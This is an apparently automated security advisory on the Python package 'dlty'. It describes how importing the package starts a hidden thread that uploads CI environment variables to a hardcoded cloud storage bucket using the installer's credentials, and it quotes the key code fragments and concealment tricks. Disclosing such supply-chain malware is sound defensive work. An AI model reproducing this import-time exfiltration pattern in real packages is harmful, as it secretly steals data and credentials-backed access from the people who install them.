dlty

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (494f5fbab24a26771e84ce06eea5303b7d1b9135b505a6d93a01c417603f1902)
Importing the `dlty` package triggers an active data-exfiltration channel from the installer to third-party-controlled infrastructure. `dlty/__init__.py` imports `dlty.dlt`, which defines a class `DataLeakTest` whose class body contains `threading.Thread(target=leak_data).start()` — meaning the thread runs at class-definition/import time, not on instantiation. The target function `leak_data` (dlty/dlt.py) first performs an HTTP GET to https://www.google.de as a connectivity probe, then reads the environment variables RUN, PIPELINE, STEP and uploads them with a timestamp as a blob to the hardcoded Google Cloud Storage bucket `data-leak-test` via `storage.Client().get_bucket('data-leak-test').blob(run).upload_from_string(...)`. This uses the installer's ambient GCP credentials (Application Default Credentials) to write installer-side environment variables (commonly CI/CD metadata) to author-controlled storage. Exceptions are swallowed with a reassuring print, and the exfiltration is placed in a class body rather than __init__ to make it less visible during casual review. Metadata fields are placeholders (Example Author, pypa/sampleproject URL), the README is a single line, and the package name does not advertise any of this behavior. This is a one-way installer→attacker exfiltration path and meets the criteria for an active supply-chain attack.

Compromised versions (2)

• 0.0.10
• 1.0.3

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.